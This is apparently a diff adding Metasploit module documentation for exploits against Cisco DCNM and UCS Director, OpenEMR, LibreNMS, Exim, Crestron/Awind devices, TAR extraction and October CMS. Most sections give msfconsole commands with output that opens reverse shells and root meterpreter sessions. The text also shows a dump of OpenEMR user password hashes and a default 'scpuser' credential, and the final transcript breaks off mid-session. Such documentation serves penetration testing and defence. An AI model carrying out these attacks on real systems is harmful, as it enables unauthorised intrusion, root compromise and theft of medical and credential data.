msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40
|
||||
rhost => 10.75.1.40
|
||||
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run
|
||||
|
||||
[+] 10.75.1.40:443 - Detected DCNM 10.4(2)
|
||||
[*] 10.75.1.40:443 - No authentication required, ready to exploit!
|
||||
[+] 10.75.1.40:443 - Got sysTime value 1567081446000
|
||||
[+] 10.75.1.40:443 - Successfully authenticated our JSESSIONID cookie
|
||||
[+] File saved in: /home/john/.msf4/loot/20190829122407_default_10.75.1.40_ciscoDCNM.http_855907.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,101 @@
|
||||
## Intro
|
||||
|
||||
This module exploits a SQLi vulnerability found in
|
||||
OpenEMR version 5.0.1 Patch 6 and lower. The
|
||||
vulnerability allows the contents of the entire
|
||||
database (with exception of log and task tables) to be
|
||||
extracted.
|
||||
|
||||
This module saves each table as a `.csv` file in your
|
||||
loot directory and has been tested with
|
||||
OpenEMR 5.0.1 (3).
|
||||
|
||||
|
||||
## Author
|
||||
|
||||
Will Porter (will.porter@lodestonesecurity.com) from Lodestone Security
|
||||
|
||||
|
||||
## References
|
||||
|
||||
https://www.cvedetails.com/cve/CVE-2018-17179/
|
||||
https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
```
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options
|
||||
|
||||
Module options (auxiliary/sqli/openemr/openemr_sqli_dump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /openemr yes The base path to the OpenEMR installation
|
||||
VHOST no HTTP server virtual host
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
This module has both `check` and `run` functions.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/sqli/openemr/openemr_sqli_dump
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > check
|
||||
|
||||
[*] Trying to detect installed version
|
||||
[*] 127.0.0.1:80 - The target appears to be vulnerable.
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] DB Version: 10.3.15-MariaDB-1
|
||||
[*] Enumerating Tables, this may take a moment...
|
||||
[*] Identified 310 tables.
|
||||
[*] Dumping table (1/310): ALL_PLUGINS
|
||||
[*] Dumping table (2/310): APPLICABLE_ROLES
|
||||
[*] Dumping table (3/310): CHARACTER_SETS
|
||||
[*] Dumping table (4/310): CHECK_CONSTRAINTS
|
||||
[*] Dumping table (5/310): COLLATIONS
|
||||
|
||||
...
|
||||
|
||||
[*] Dumping table (305/310): medex_recalls
|
||||
[*] Dumping table (306/310): syndromic_surveillance
|
||||
[*] Dumping table (307/310): lang_constants
|
||||
[*] Dumping table (308/310): gacl_acl_seq
|
||||
[*] Dumping table (309/310): background_services
|
||||
[*] Dumping table (310/310): geo_country_reference
|
||||
[*] Dumped all tables to /root/.msf4/loot
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > exit
|
||||
|
||||
root@localhost:/# cd /root/.msf4/loot
|
||||
root@localhost:~/.msf4/loot# ls -l
|
||||
|
||||
-rw-rw-r-- 1 root root 207 Sep 11 01:33 20190911013307_default_127.0.0.1_openemr.ALL_PLUG_118002.bin
|
||||
-rw-rw-r-- 1 root root 42 Sep 11 01:33 20190911013308_default_127.0.0.1_openemr.APPLICAB_752726.bin
|
||||
-rw-rw-r-- 1 root root 59 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHARACTE_047422.bin
|
||||
-rw-rw-r-- 1 root root 77 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHECK_CO_374587.bin
|
||||
-rw-rw-r-- 1 root root 68 Sep 11 01:33 20190911013310_default_127.0.0.1_openemr.COLLATIO_513047.bin
|
||||
|
||||
...
|
||||
|
||||
-rw-rw-r-- 1 root root 37 Sep 11 01:47 20190911014756_default_127.0.0.1_openemr.syndromi_322156.bin
|
||||
-rw-rw-r-- 1 root root 3 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.gacl_acl_006027.bin
|
||||
-rw-rw-r-- 1 root root 22 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.lang_con_639806.bin
|
||||
-rw-rw-r-- 1 root root 139 Sep 11 01:47 20190911014759_default_127.0.0.1_openemr.backgrou_037369.bin
|
||||
-rw-rw-r-- 1 root root 5462 Sep 11 01:48 20190911014846_default_127.0.0.1_openemr.geo_coun_668990.bin
|
||||
|
||||
root@localhost:~/.msf4/loot# cat 20190911014115_default_127.0.0.1_openemr.users_se_735944.bin
|
||||
id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2
|
||||
1,admin,$2a$05$bxcQWy1ZeIwV2/ScGBQlTOeUVqJo9MdvHuF1mBs4Jo7H0/bFpZoPK,$2a$05$bxcQWy1ZeIwV2/ScGBQlTZ$,2019-08-27 20:07:13,"","","",""
|
||||
4,johndoemsf,$2a$05$gUWCtnsoqPBbn5zKiasyaOphgJwkA9BySy7LnK3BswyWt0RrLb0Ma,$2a$05$gUWCtnsoqPBbn5zKiasyaQ$,2019-08-29 02:01:28,"","","",""
|
||||
6,johnderp,$2a$05$nAHQ7japfATDqqgArPImlu5svMG79W1nj1SNBpE7xkEhS42.AvlWq,$2a$05$nAHQ7japfATDqqgArPImlv$,2019-08-29 02:02:32,"","","",""
|
||||
7,janedoemsf,$2a$05$uv85uBLeAOWQWWl9hHGL0uUy1KZSTgNGbZfJ9o8Lg0ILuSeGCNDbm,$2a$05$uv85uBLeAOWQWWl9hHGL06$,2019-08-29 02:09:37,"","","",""
|
||||
```
|
||||
@@ -0,0 +1,59 @@
|
||||
## Intro
|
||||
|
||||
The Cisco UCS Director virtual appliance contains two flaws that can be combined
|
||||
and abused by an attacker to achieve remote code execution as root.
|
||||
|
||||
The first one, CVE-2019-1937, is an authentication bypass, that allows the
|
||||
attacker to authenticate as an administrator.
|
||||
|
||||
The second one, CVE-2019-1936, is a command injection in a password change form,
|
||||
that allows the attacker to inject commands that will execute as root.
|
||||
|
||||
This module combines both vulnerabilities to achieve the unauthenticated command
|
||||
injection as root.
|
||||
It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
|
||||
Note that Cisco also mentions in their advisory that their IMC Supervisor and
|
||||
UCS Director Express are also affected by these vulnerabilities, but this module
|
||||
was not tested with those products.
|
||||
|
||||
|
||||
## Author and discoverer
|
||||
|
||||
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
|
||||
|
||||
|
||||
## References
|
||||
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj
|
||||
FULL_DISC
|
||||
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
Setup RHOST, LHOST, LPORT and run it!
|
||||
|
||||
```
|
||||
msf5 exploit(linux/ssh/cisco_ucs_scpuser) > use exploit/linux/http/cisco_ucs_rce
|
||||
msf5 exploit(linux/http/cisco_ucs_rce) > set rhost 10.9.8.121
|
||||
rhost => 10.9.8.121
|
||||
msf5 exploit(linux/http/cisco_ucs_rce) > set lhost 10.9.8.1
|
||||
lhost => 10.9.8.1
|
||||
msf5 exploit(linux/http/cisco_ucs_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.9.8.1:4444
|
||||
[+] 10.9.8.121:443 - Successfully bypassed auth and got our admin JSESSIONID cookie!
|
||||
[+] 10.9.8.121:443 - Shelly is here, press ENTER to start playing with her!
|
||||
[*] Command shell session 2 opened (10.9.8.1:4444 -> 10.9.8.121:34778) at 2019-08-29 22:28:01 +0700
|
||||
|
||||
[root@localhost inframgr]# whoami
|
||||
whoami
|
||||
root
|
||||
[root@localhost inframgr]# ^C
|
||||
Abort session 2? [y/N] y
|
||||
""
|
||||
|
||||
[*] 10.9.8.121 - Command shell session 2 closed. Reason: User exit
|
||||
msf5 exploit(linux/http/cisco_ucs_rce) >
|
||||
```
|
||||
@@ -0,0 +1,25 @@
|
||||
# Cisco RV110W/RV130W/RV215W Routers Management Interface Remote Command Execution
|
||||
|
||||
A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
|
||||
|
||||
The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
|
||||
|
||||
A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user.
|
||||
|
||||
## Vulnerable Device
|
||||
|
||||
* RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.
|
||||
* RV130 Multifunction VPN Router versions prior to 1.0.3.45 are affected.
|
||||
* RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
|
||||
* RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. ```use exploit/linux/http/cve_2019_1663_cisco_rmi_rce```
|
||||
3. ```set rhost [IP]```
|
||||
4. ```set payload linux/armle/meterpreter_reverse_tcp```
|
||||
5. ```set lhost [IP]```
|
||||
6. ```exploit```
|
||||
7. You should get a session
|
||||
|
||||
@@ -0,0 +1,128 @@
|
||||
## Description
|
||||
|
||||
A command injection vulnerability exists in LibreNMS versions prior to `v1.50.1`.
|
||||
|
||||
The injection vulnerability affects the Collectd graphing functionality. Specifically, the `to` and
|
||||
`from` parameters used in the range for graphing are sanitized with the `mysqli_escape_real_string()`
|
||||
which ignores certain characters, including backticks. These improperly sanitized parameters are then
|
||||
used in a shell command that gets executed via the `passthru()` function.
|
||||
|
||||
This module has been tested on LibreNMS `v1.46` and `v.1.50`.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
A vulnerable version of LibreNMS (v1.50) in the form of an OVA can be downloaded [here](https://github.com/librenms/packer-builds/releases/tag/1.50).
|
||||
|
||||
Login credentials can be found on the official LibreNMS [site](https://docs.librenms.org/Installation/Images/).
|
||||
|
||||
Collectd will need to be set up with LibreNMS for this exploit to work. These instructions
|
||||
are for the Ubuntu OVA.
|
||||
|
||||
```sudo apt-get install collectd```
|
||||
|
||||
Open the Collectd config file `/etc/collectd/collectd.conf`
|
||||
and uncomment the global options for the `Hostname` and `BaseDir`.
|
||||
Next, uncomment the lines for the cpu plugin.
|
||||
The plugin should look similar to this:
|
||||
|
||||
```
|
||||
<Plugin cpu>
|
||||
ReportByCpu true
|
||||
ReportByState true
|
||||
ValuesPercentage false
|
||||
</Plugin>
|
||||
```
|
||||
|
||||
Next, find the `rrdtool` plugin and ensure it looks like this:
|
||||
|
||||
```
|
||||
<Plugin rrdtool>
|
||||
DataDir "/var/lib/collectd/rrd"
|
||||
CacheTimeout 120
|
||||
CacheFlush 900
|
||||
</Plugin>
|
||||
```
|
||||
|
||||
Save and exit
|
||||
|
||||
Now open `/etc/collectd/collectd.conf.d/rrdtool.conf` and add
|
||||
|
||||
```
|
||||
LoadPlugin rrdtool
|
||||
<Plugin rrdtool>
|
||||
DataDir "/var/lib/collectd/rrd"
|
||||
CacheTimeout 120
|
||||
CacheFlush 900
|
||||
</Plugin>
|
||||
```
|
||||
|
||||
Save and exit, then restart the Collectd service:
|
||||
|
||||
```sudo systemctl restart collectd```
|
||||
|
||||
Lastly, add these two lines to the LibreNMS config file,
|
||||
`/opt/librenms/config.php`:
|
||||
|
||||
```
|
||||
$config['collectd_dir'] = '/var/lib/collectd/rrd';
|
||||
$config['collectd_sock'] = 'unix:///var/run/collectd.sock';
|
||||
```
|
||||
|
||||
Now save and exit.
|
||||
|
||||
You can verify that Collectd is set up with LibreNMS by viewing the
|
||||
`localhost` device in LibreNMS and noting that there should be a Collectd
|
||||
tab on the device's main page.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/librenms_collectd_cmd_inject```
|
||||
4. Do: ```set RHOSTS <ip>```
|
||||
5. Do: ```set USERNAME <user>```
|
||||
6. Do: ```set PASSWORD <pass>```
|
||||
7. Do: ```run```
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on LibreNMS `v1.46`
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/librenms_collectd_cmd_inject
|
||||
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133
|
||||
rhosts => 192.168.37.133
|
||||
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set username blah
|
||||
username => blah
|
||||
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set password password
|
||||
password => password
|
||||
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse
|
||||
payload => cmd/unix/reverse
|
||||
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > check
|
||||
[*] 192.168.37.133:80 - The target service is running, but could not be validated.
|
||||
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > run
|
||||
|
||||
[*] Started reverse TCP double handler on 192.168.37.1:4444
|
||||
[*] Successfully logged into LibreNMS. Storing credentials...
|
||||
[*] LibreNMS version: 1.46
|
||||
[*] Sending payload via device 122
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo 67Fk9T3DyODcIsbL;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n67Fk9T3DyODcIsbL\r\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 3 opened (192.168.37.1:4444 -> 192.168.37.133:50462) at 2019-08-12 15:43:16 -0500
|
||||
|
||||
whoami
|
||||
www-data
|
||||
uname -a
|
||||
Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
@@ -0,0 +1,90 @@
|
||||
# Vulnerable Application
|
||||
|
||||
Exim 4.87 - 4.91 Local Privilege Escalation
|
||||
|
||||
This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149).
|
||||
|
||||
Both meterpreter shell and classic shell are supported. The exploit will upload the specified `payload`, set the suid bit, and execute it to create a new root session. In order for the new session to be a root one, both `PrependSetuid` and `PrependSetgid` must be set to true (which is the default configuration for the exploit), and the `WritableDir` must be mounted without `nosuid`.
|
||||
|
||||
# Creating A Testing Environment
|
||||
|
||||
You basically just need to have a exim (between 4.87 and 4.91 inclusive) running and listening on a port (port 25 by default).
|
||||
For my tests, I used a VM with Ubuntu 18.04 LTS and exim 4.89 (I tested all the versions from 4.87 to 4.91). The exim source code can be downloaded from the official website (all the old versions can be found).
|
||||
You can also use this good Docker image which sets up a container with a vulnerable exim version running (https://github.com/dhn/exploits/tree/master/CVE-2019-10149).
|
||||
Be careful if you use the exim package from the official repo of your Linux distribution, even if the version is between 4.87 and 4.91, it may still be patched against the vulnerability (it is the case on Ubuntu at least).
|
||||
|
||||
Before using the exploit, make sure exim is actually listening on a port (it may sound stupid, but I struggled a bit when creating a testing environment). However, you should not have any problem if you use the Docker image linked above.
|
||||
|
||||
# Verification Steps
|
||||
|
||||
1. `use exploit/linux/local/exim4_deliver_message_priv_esc`
|
||||
2. `set SESSION [session]`
|
||||
3. `set PAYLOAD [payload]`
|
||||
4. `set LHOST [lhost]`
|
||||
5. `set LPORT [lport]`
|
||||
6. `exploit`
|
||||
|
||||
# Options
|
||||
|
||||
## PAYLOAD
|
||||
|
||||
Set this option to choose which type of root session you want to create.
|
||||
|
||||
## EXIMPORT
|
||||
|
||||
The port that exim is listening to. On most cases it will be port 25 (which is the default).
|
||||
|
||||
## ForceExploit
|
||||
|
||||
Force exploit even if the current session is root.
|
||||
|
||||
## SendExpectTimeout
|
||||
|
||||
Timeout per send/expect when communicating with exim.
|
||||
|
||||
## WritableDir
|
||||
|
||||
A directory where we can write files (default is /tmp).
|
||||
|
||||
|
||||
# Scenarios
|
||||
|
||||
## Privilege escalation starting with a meterpreter shell
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: uid=1000, gid=1000, euid=1000, egid=1000
|
||||
meterpreter >
|
||||
Background session 1? [y/N]
|
||||
msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc
|
||||
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50
|
||||
lhost => 192.168.0.50
|
||||
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lport 13371
|
||||
lport => 13371
|
||||
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set EXIMPATH /usr/exim/bin/exim
|
||||
EXIMPATH => /usr/exim/bin/exim
|
||||
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check
|
||||
[*] The target appears to be vulnerable.
|
||||
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.50:13371
|
||||
[*] Payload sent, wait a few seconds...
|
||||
[*] Sending stage (985320 bytes) to 192.168.0.80
|
||||
[*] Meterpreter session 2 opened (192.168.0.50:13371 -> 192.168.0.80:45562) at 2019-07-07 23:46:37 +0100
|
||||
[+] Deleted /tmp/eMhzFtUYGQ
|
||||
[+] Check session 2, you should have a root shell!
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.0.80
|
||||
OS : Ubuntu 18.04 (Linux 4.18.0-25-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,73 @@
|
||||
## Description
|
||||
|
||||
This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to `ftpfw.sh` system command, leading to command injection.
|
||||
|
||||
Note: a valid SNMP read-write community is required to exploit this vulnerability.
|
||||
|
||||
## Vulnerable Devices
|
||||
|
||||
The following devices are known to be affected by this issue:
|
||||
|
||||
* Crestron Airmedia AM-100 <= version 1.5.0.4
|
||||
* Crestron Airmedia AM-101 <= version 2.5.0.12
|
||||
* Awind WiPG-1600w <= version 2.0.1.8
|
||||
* Awind WiPG-2000d <= version 2.1.6.2
|
||||
* Barco wePresent 2000 <= version 2.1.5.7
|
||||
* Newline Trucast 2 <= version 2.1.0.5
|
||||
* Newline Trucast 3 <= version 2.1.3.7
|
||||
|
||||
Other devices might be affected by the same issue but lack of access to firmware forbids me from confirming that. See https://github.com/QKaiser/awind-research for full list of similar devices.
|
||||
|
||||
## Verification steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/linux/snmp/awind_snmp_exec`
|
||||
3. Do: `set payload linux/armle/meterpreter/reverse_tcp`
|
||||
4. Do: `set RHOST [IP]`
|
||||
5. Do: `set LHOST [IP]`
|
||||
6. Do: `run`
|
||||
|
||||
You should get a session.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/snmp/awind_snmp_exec
|
||||
msf5 exploit(linux/snmp/awind_snmp_exec) > set payload linux/armle/meterpreter/reverse_tcp
|
||||
payload => linux/armle/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/snmp/awind_snmp_exec) > set RHOSTS 192.168.100.2
|
||||
RHOSTS => 192.168.100.2
|
||||
msf5 exploit(linux/snmp/awind_snmp_exec) > set LHOST 192.168.100.1
|
||||
LHOST => 192.168.100.1
|
||||
msf5 exploit(linux/snmp/awind_snmp_exec) > check
|
||||
|
||||
[*] Target system is Crestron Electronics AM-100 (Version 2.6.0.6)
|
||||
[+] 192.168.100.2:161 The target is vulnerable.
|
||||
msf5 exploit(linux/snmp/awind_snmp_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.1:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/u70HALC
|
||||
[*] Local IP: http://192.168.1.10:8080/u70HALC
|
||||
[*] Injecting payload
|
||||
[*] Injection successful
|
||||
[*] Triggering call
|
||||
[*] Trigger successful
|
||||
[*] Client 192.168.100.2 (Wget) requested /u70HALC
|
||||
[*] Sending payload to 192.168.100.2 (Wget)
|
||||
[*] Sending stage (806872 bytes) to 192.168.100.2
|
||||
[*] Command Stager progress - 100.00% done (113/113 bytes)
|
||||
[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.2:38009) at 2019-03-28 11:01:41 +0100
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : Crestron.AirMedia-1.1.wm8750
|
||||
OS : (Linux 2.6.32.9-default)
|
||||
Architecture : armv6l
|
||||
BuildTuple : armv5l-linux-musleabi
|
||||
Meterpreter : armle/linux
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* https://github.com/QKaiser/awind-research
|
||||
* https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/
|
||||
@@ -0,0 +1,50 @@
|
||||
## Intro
|
||||
|
||||
This module abuses a known default password on Cisco UCS Director. The 'scpuser'
|
||||
has the password of 'scpuser', and allows an attacker to login to the virtual appliance
|
||||
via SSH (aka CVE-2019-1935).
|
||||
|
||||
This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
|
||||
Note that Cisco also mentions in their advisory that their IMC Supervisor and
|
||||
UCS Director Express are also affected by these vulnerabilities, but this module
|
||||
was not tested with those products.
|
||||
|
||||
|
||||
## Author and discoverer
|
||||
|
||||
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
|
||||
|
||||
|
||||
## References
|
||||
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred
|
||||
https://seclists.org/fulldisclosure/2019/Aug/36
|
||||
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
Setup RHOST and run it!
|
||||
|
||||
```
|
||||
msf5 exploit(linux/http/cisco_ucs_rce) > use exploit/linux/ssh/cisco_ucs_scpuser
|
||||
msf5 exploit(linux/ssh/cisco_ucs_scpuser) > set rhost 10.9.8.121
|
||||
rhost => 10.9.8.121
|
||||
msf5 exploit(linux/ssh/cisco_ucs_scpuser) > set lhost 10.9.8.1
|
||||
lhost => 10.9.8.1
|
||||
msf5 exploit(linux/ssh/cisco_ucs_scpuser) > run
|
||||
|
||||
[*] 10.9.8.121:22 - Attempt to login to the Cisco appliance...
|
||||
[+] 10.9.8.121:22 - Login Successful (scpuser:scpuser)
|
||||
|
||||
[*] Found shell.
|
||||
[*] Command shell session 1 opened (10.9.8.1:38113 -> 10.9.8.121:22) at 2019-08-29 22:27:42 +0700
|
||||
|
||||
whoami
|
||||
scpuser
|
||||
^C
|
||||
Abort session 1? [y/N] y
|
||||
""
|
||||
|
||||
[*] 10.9.8.121 - Command shell session 1 closed. Reason: User exit
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
## Description
|
||||
|
||||
This is a generic arbitrary file overwrite technique, which typically results in remote command execution. This targets a simple yet widespread vulnerability that has been seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc. The idea is that often archive extraction libraries have no mitigations against directory traversal attacks. If an application uses it, there is a risk when opening an archive that is maliciously modified, and result in the embedded payload being written to an arbitrary location (such as a web root), and result in remote code execution.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Since this is a generic module, it does not target a specific application. However, what it targets is potentially unsafe TAR extraction libraries, so if you happen to notice that, then you can consider using this.
|
||||
|
||||
For example, let's say you have a Python library that has code that can extract a TAR file like this:
|
||||
|
||||
```python
|
||||
import tarfile
|
||||
t = tarfile.open('example.tar')
|
||||
t.extractall()
|
||||
```
|
||||
|
||||
The above will extract a TAR file, but the `extractall` function does not have any protection (especially against directory traversal attacks), so it's dangerous.
|
||||
|
||||
An example that is safe from the attack is the `tar` command, for example:
|
||||
|
||||
```
|
||||
$ tar -xf msf.tar
|
||||
../payload.bin: Path contains '..'
|
||||
tar: Error exit delayed from previous errors.
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Save the above Python script
|
||||
2. Generate the malicious TAR file
|
||||
3. Run Python on the TAR file:
|
||||
|
||||
```python
|
||||
import tarfile
|
||||
t = tarfile.open('example.tar')
|
||||
t.extractall()
|
||||
```
|
||||
@@ -0,0 +1,50 @@
|
||||
## Intro
|
||||
|
||||
Cisco Data Center Network Manager exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.
|
||||
An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps
|
||||
directory and achieve remote code execution as root.
|
||||
|
||||
This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on
|
||||
versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct
|
||||
directory for the WAR file upload.
|
||||
|
||||
The module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
|
||||
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
|
||||
(see References to understand why).
|
||||
|
||||
|
||||
## Author and discoverer
|
||||
|
||||
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
|
||||
|
||||
|
||||
## References
|
||||
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex
|
||||
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb
|
||||
https://seclists.org/fulldisclosure/2019/Jul/7
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
Setup RHOST, LHOST, LPORT, run it and sit back!
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 10.75.1.1:4444
|
||||
[+] 10.75.1.40:443 - Detected DCNM 11.1(1)
|
||||
[*] 10.75.1.40:443 - No authentication required, ready to exploit!
|
||||
[+] 10.75.1.40:443 - Obtain WAR path from logs: /usr/local/cisco/dcm/wildfly-10.1.0.Final/standalone/sandeployments
|
||||
[*] 10.75.1.40:443 - Uploading payload...
|
||||
[+] 10.75.1.40:443 - WAR uploaded, waiting a few seconds for deployment...
|
||||
[*] 10.75.1.40:443 - Executing payload...
|
||||
[*] Sending stage (53867 bytes) to 10.75.1.40
|
||||
[*] Meterpreter session 1 opened (10.75.1.1:4444 -> 10.75.1.40:60592) at 2019-08-29 12:41:49 +0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
[*] 10.75.1.40 - Meterpreter session 1 closed. Reason: User exit
|
||||
```
|
||||
@@ -0,0 +1,51 @@
|
||||
## Description
|
||||
|
||||
An authenticated user with permission to upload and manage media contents can
|
||||
upload various files on the server. The application prevents the user from
|
||||
uploading PHP code by checking the file extension. It uses blacklist based
|
||||
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
|
||||
Definitions.php:blockedExtensions().
|
||||
|
||||
## Vulnerable Software
|
||||
|
||||
October CMS v1.0.412 (build 412)
|
||||
https://www.exploit-db.com/apps/4ff8a9688f31b7338020d0bc85da13fc-october-1.0.412.tar.gz
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/multi/http/october_upload_bypass_exec```
|
||||
4. Do: ```set RHOSTS <ip>``
|
||||
5. Do: ```set USERNAME <user>```
|
||||
6. Do: ```set PASSWORD <pass>```
|
||||
7. You should get a shell.
|
||||
|
||||
## Verification
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/october_upload_bypass_exec
|
||||
msf5 exploit(multi/http/october_upload_bypass_exec) > set rhosts 10.10.10.16
|
||||
rhosts => 10.10.10.16
|
||||
msf5 exploit(multi/http/october_upload_bypass_exec) > setg verbose true
|
||||
verbose => true
|
||||
msf5 exploit(multi/http/october_upload_bypass_exec) > set lhost 10.10.14.8
|
||||
lhost => 10.10.14.8
|
||||
